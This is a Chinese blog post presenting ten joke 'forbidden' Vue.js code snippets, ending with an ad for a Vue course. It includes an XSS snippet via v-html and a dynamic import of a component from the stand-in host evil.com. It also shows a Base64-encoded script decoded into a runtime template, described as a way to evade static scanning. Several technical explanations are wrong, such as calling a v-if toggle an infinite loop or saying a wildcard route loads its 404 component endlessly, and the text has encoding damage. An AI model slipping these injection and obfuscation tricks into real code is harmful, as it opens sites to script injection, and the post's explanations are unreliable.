邪修 Vue10 段“千萬別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇，切勿真用！

?? 每條都可能：編譯器怒、運行時崩、維護者哭、面試官樂

面試炫技 OK，項目敢用就等死！

1?? 單文件一行毀滅

<template><div v-html="'<script>alert(1)</script>'"/></template>

v-html 直插腳本，XSS 一鍵觸發(fā)。

2?? 響應(yīng)式無限遞歸

export default {
  data: () => ({ a: 1 }),
  computed: {
    evil() { return this.evil + 1; } // 自引用爆棧
  }
}

3?? 原型鏈篡改

Vue.prototype.$log = () => alert('邪修');
// 全局混入污染

4?? 動態(tài)異步組件木馬

const Evil = () => import('https://evil.com/comp.vue');

運行時拉取遠(yuǎn)程組件，Webpack 攔不住。

5?? v-if 死循環(huán)

<template>
  <div v-if="flag" @click="flag=!flag">點我炸</div>
</template>
<script>export default { data(){ return{flag:true} } }</script>

每次點擊都重新渲染，性能瞬間歸零。

6?? 雙向綁定黑洞

<input v-model="obj.self.self.self.self.self.text">

深度嵌套對象，Watcher 數(shù)量指數(shù)級增長。

7?? 指令級副作用

Vue.directive('evil', {
  bind(el) { el.style.animation = 'spin 0.01s infinite' }
})

全局指令讓頁面 GPU 100%。

8?? 路由懶加載炸彈

const routes = [
  { path: '*', component: () => import('./404.vue') } // 通配符兜底，任何路徑都加載
]

通配符兜底，404 組件被無限加載。

9?? 混入（mixin）地獄

const mixinA = { created(){ console.log('A') } };
const mixinB = { created(){ console.log('B') } };
export default {
  mixins: [mixinA, mixinB, mixinA, mixinB] // 重復(fù)混入
}

生命周期鉤子執(zhí)行順序混亂，調(diào)試器原地爆炸。

?? 運行時編譯模板

new Vue({
  el: '#app',
  template: `<div>${atob('PHNjcmlwdD5hbGVydCgiWCIpPC9zY3JpcHQ+')}</div>`
})

Base64 解碼模板，繞過靜態(tài)掃描。

邪修口訣

“響應(yīng)式當(dāng)黑洞，模板當(dāng)炸彈；

混入當(dāng)迷宮，編譯器哭泣?！?/p>

PS

想要正經(jīng)的學(xué)習(xí) Vue.js，從編程獅的《Vue.js三天學(xué)習(xí)實戰(zhàn)教程》開始！